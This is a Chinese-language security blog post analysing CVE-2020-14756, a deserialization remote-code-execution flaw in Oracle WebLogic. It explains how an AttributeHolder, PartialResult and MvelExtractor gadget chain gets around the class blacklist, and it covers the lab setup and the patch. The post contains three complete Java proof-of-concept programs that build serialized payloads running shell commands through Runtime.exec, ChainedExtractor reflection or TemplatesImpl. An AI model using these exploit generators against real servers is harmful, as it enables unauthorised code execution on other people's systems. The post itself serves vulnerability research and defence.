CVE-2020-14756 详细分析

阅读量275270

|

发布时间 : 2021-03-02 10:30:07

 

影响版本

Oracle Weblogic Server 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

其中12.1.3.0.0的利用链与12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0有所不同

先说这个洞思路不错的地方在于,通过一个实现了Externalizable接口的白名单类AttributeHolder对内部的数据流进行自定义反序列化readExternal操作,使后续的数据流在反序列化时没有经过readObject()黑名单检验,就能够利用之前的黑名单类进行攻击(例如作者利用的是CVE-2020-2555的sink)

 

环境搭建

version: '2'
services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
    - "7001:7001"
    - "8453:8453"
docker cp weblogic-12.2.1.3-8u151:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh ./setDomainEnv.sh

更改local_debug为true,本地chomod +x之后再cp进容器,否则没有权限

docker cp ./setDomainEnv.sh weblogic-12.2.1.3-8u151:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh

docker cp weblogic-12.2.1.3-8u151:/u01/oracle ./weblogic12.2.1.3

find ./weblogic12.2.1.3 -name *.jar -exec cp {} ./alllib/ \;
docker cp weblogic-12.2.1.3-8u151:/usr/java/jdk1.8.0_151 ./jdk

 

ExternalizableLite接口

ExternalizableLite接口定义了两个方法readExternalwriteExternal。凡是实现了ExternalizableLite的类,在这两个方法内部都借助ExternalizableHelper来进行自定义的序列化和反序列化。

例如AttributeHolder重写了自己的writeExternal,将内部变量this.m_oValue写入序列化的输出流

再例如TopNAggregator.PartialResult也重写了自己的writeExternal,将内部变量this.m_comparator写入序列化的输出流

 

漏洞分析

写在前面

在反序列化时会判断实例所属的类是否实现了Externalizable接口

如果实现了Externalizable或者ExternalizableLite接口,会调用实例自身的readExternal方法,这是一个自定义反序列化操作。这个漏洞所利用的类(AttributeHolder、PartialResult、MvelExtractor)都实现了Externalizable或者ExternalizableLite接口

public class AttributeHolder extends Base implements Externalizable

public static class PartialResult extends SortedBag implements ExternalizableLite

public class MvelExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite

寻找sink

由于第一个类AttributeHodler不在黑名单中,且其反序列化操作为readExternalData,主要作用是循环递归ExternalizableLite接口自定义的反序列化操作

那只需要关注在递归过程中,每个ExternalizableLiteImpl在调用自定义readExternal还原数据流时是否有危险操作,且参数可控的情况。

首先作者的sink依然是利用CVE-2020-2555中,@Lucifaer师傅挖掘的Mvel表达式注入

通过com.tangosol.coherence.rest.util.extractor.MvelExtractor父类com.tangosol.coherence.rest.util.extractor.AbstractExtractor中的compare方法调用自身extract方法

寻找gadget

com.tangosol.util.aggregator.TopNAggregatorc.PartialResult#readExternal方法中调用了instantiateInternalMap方法,且this.m_comparator可在序列化时传入(攻击者可控)

跟进instantiateInternalMap方法,创建了TreeMap对象,其comparator属性值为传入的this.m_comparator参数,同时攻击者可以构造输入流in来赋值this.m_comparator参数

instantiateInternalMap函数的结果作为this.m_map属性值返回后,进入this.add函数

但步入this.add函数之前,还需令cElems不为0,否则直接跳出循环。在追进in.readInt()的过程中发现,如果仅在PartialResult实例中写入m_comparatorm_cMaxSize两个数据流,那么in.readInt();获取的值为0,因为已经获取完PartialResult里的所有数据了。例如我们在序列化是令m_cMaxSize=2,则把PartialResult数据流读取到的buffer数据中后,最后一个值指向m_cMaxSize的值:2

因此我们还要向PartialResult实例添加数据。我们去看它的对称写操作writeExternal:将this.size()写入输出流(实际上就是TreeMap的size),由于默认建立的TreeMap而没有赋值导致size初值为0

获取iter也的过程,也就是在循环取TreeMap里的键值再写入输出流

所以只需要往TreeMap里加个键值对就可以执行this.add方法。跟进this.add,调用super.add(value)

继续跟进super.add(value),进入map.put操作

TreeMap.put中调用了TreeMap.compare方法

跟进compare方法,调用this.f_comparator.compare(o1, o2)

在前面提到,我们在构造TreeMap时已经把WrapperComparator.f_comparator进行了赋值为MvelExtractor实例。此之我们已经能够调用MvelExtractor.compare(),且参数o1o2序列化可控,整个gadget完整。

寻找source

找到一个合理的source,能够衔接gadget的起点PartialResult#readExternal().

作者选择的是com.tangosol.coherence.servlet.AttributeHolder,由于AttributeHolder实现了Externalizable接口,因此在反序列化的时候步入readExternalData来处理输入流。

readExternalData内部会调用AttributeHolder#readExternal继续处理输入流

read/WriteExternal都是深度递归的过程,如果AttributeHodler属性中有PartialResult实例,则会继续调用PartialResult#readExternal,成功衔接到gadget起点

 

构造POC-逐步写OutObjectInput

在序列化的过程先解析第一个对象AttributeHolder,进入判断执行writeExternalData

writeExternalData内部调用AttributeHolder#writeExternal()。在上文讲ExternalizableLite接口时提到,凡事实现了ExternalizableLite接口的类都会自定义writeExternal来进行自己的序列化操作.

AttributeHolder#writeExternal调用ExternalizableHelper.writeObject(out, this.m_oValue),把自身变量this.m_oValue写入输出流。

此时我们令this.m_oValuecom.tangosol.util.aggregator.TopNAggregatorc.PartialResult,就可以在反序列化时使输入流inPartialResult实例的流对象。到这里也可以看出来,readExternalwriteExternal是对称操作

在漏洞分析时我们提到要让PartialResult.m_comparator的值为MvelExtractor实例,那怎么向输出流中写入PartialResult.m_comparator呢?

步入ExternalizableHelper.writeObject(out, this.m_oValue)之后会发现这个writeExternal方法是深度递归的过程。它在判断PartialResult也是一个实现了ExternalizableLite的类后继续调用PartialResult#writeExternal()

PartialResult#writeExternal()会调用ExternalizableHelper.writeObject(out, this.m_comparator)继续向输出流写入PartialResult内部属性m_comparator,这就帮我们解决了问题。我们只需创建实例后令PartialResult.m_comparator=new MvelExtractor(xxx);

步入ExternalizableHelper.writeObject(out, this.m_comparator),判断this.m_comparator也就是MvelExtractor也是实现了ExternalizableLite的类,继而再次递归调用MvelExtractor#writeExternal,把this.m_sExpr写入输出流

至此,我们在漏洞分析中用到的所有变量都可以被写入输出流.

 

POC-除12.1.3

package weblogic.t3;

import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.aggregator.TopNAggregator;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class CVE_2020_14756 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {

        String mvel = "";
        MvelExtractor mvelExtractor = new MvelExtractor(mvel);


        TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(mvelExtractor,2);

        AttributeHolder attributeHolder = new AttributeHolder();
        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder,partialResult);

        partialResult.add(1);

        Field m_sExpr = mvelExtractor.getClass().getDeclaredField("m_sExpr");
        m_sExpr.setAccessible(true);

        String mvel1 = "Runtime.getRuntime().exec(\"touch /tmp/CVE_2020_14756\")";
        m_sExpr.set(mvelExtractor,mvel1);


        FileOutputStream fileOut =
                new FileOutputStream("cve_2020_14756.ser");
        // 建立对象输入流
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        //输出反序列化对象
        out.writeObject(attributeHolder);
        out.close();
        fileOut.close();

    }
}

 

POC-12.1.3-局限

对于Weblogic 12.1.3,ClassLoader无法加载MvelExtractor,所以需要寻找其它的sink。但笔者比较菜,没有能够找到除了MvelExtractor之外能够调用readExternal接口来反序列化的黑名单sink。跟@Hu3sky师傅讨论后,他用ChainedExtractor实现了12.1.3版本的RCE,我用的是TemplatesImpl进行了RCE;然而这两种方法中的Runtime.classTemplatesImpl.class都在12.1.3上一个版本的黑名单中,因此以下的两个exp仍不能打黑名单下的Weblogic12.1.3,丢出来仅供学习和后续师傅们利用做参考

12.1.3-ChainedExtractor

package weblogic.t3;

import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class CVE_2020_14756_1213 {

    public static void main(String[] args) throws Exception{


        ValueExtractor[] fakeaExtractors = new ValueExtractor[]{
                new ConstantExtractor(null)
        };


        //构造一个假的aExtractors数组,以便于add操作添加整数
        ChainedExtractor extractorChain = new ChainedExtractor(fakeaExtractors);


        TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractorChain);


        AttributeHolder attributeHolder = new AttributeHolder();
        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder,partialResult);



        ValueExtractor[] realaExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", null}),
                new ReflectionExtractor("invoke", new Object[]{null, null}),
                new ReflectionExtractor("exec", new Object[]{"touch /tmp/hpdoger"})
        };

        partialResult.add(Runtime.class);


        Field m_aExtractor = extractorChain.getClass().getSuperclass().getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);
        m_aExtractor.set(extractorChain,realaExtractors);


        FileOutputStream fileOut =
                new FileOutputStream("/Users/Hpdata/JavaSecurity/POCs/Weblogic/CVE-2020-14756/cve_2020_14756_1213.ser");
        // 建立对象输入流
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        //输出反序列化对象
        out.writeObject(attributeHolder);
        out.close();
        fileOut.close();

//        FileInputStream fileIn = new FileInputStream("cve_2020_14756_1213.ser");
//        ObjectInputStream input = new ObjectInputStream(fileIn);
//        input.readObject();
    }
}

在初始化传入了fakeaExtractors,防止在partialResult.add操作时报错

添加完add之后再调用反射重新对ChainedExtractor父类变量m_aExtractor赋值

12.1.3-TemplatesImpl

package ysoserial.payloads;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import ysoserial.payloads.util.Reflections;

import static ysoserial.payloads.util.Gadgets.createTemplatesImpl;

public class CVE_2020_14756_1213 {

    //还是不能bypass TemplatesImpl这个黑名单
    public static void main(String[] args) throws Exception{

        String cmd = "touch /tmp/hpdoger1213";

        final Object templates = createTemplatesImpl(cmd, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

        ValueExtractor[] fakeaExtractors = new ValueExtractor[]{
                new ConstantExtractor(null)
        };

        //构造一个假的aExtractors数组,以便于add操作添加整数
        ChainedExtractor extractorChain = new ChainedExtractor(fakeaExtractors);

        TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractorChain);


        AttributeHolder attributeHolder = new AttributeHolder();
        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder,partialResult);



        ValueExtractor[] realaExtractors = new ValueExtractor[]{
                new ReflectionExtractor("newTransformer")
        };

        partialResult.add(templates);


        Field m_aExtractor = extractorChain.getClass().getSuperclass().getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);
        m_aExtractor.set(extractorChain,realaExtractors);


        FileOutputStream fileOut =
                new FileOutputStream("cve_2020_14756_1213.ser");
        // 建立对象输入流
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        //输出反序列化对象
        out.writeObject(attributeHolder);
        out.close();
        fileOut.close();
    }
}

PS:学习yso的思路,如果在序列化时为了防止本地反射爆error,则可先调用toString()方法在初始化时伪装,之后再用反射赋值更改要invoke的方法

 

漏洞修补

coherence.jar补丁中,在readExternalizableLite方法中对反序列化的数据流调用ObjectFilter进行检测

 

参考链接

安恒研究院

本文由Hpdoger原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/231436

安全KER - 有思想的安全新媒体

分享到:微信
+11赞
收藏
Hpdoger
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66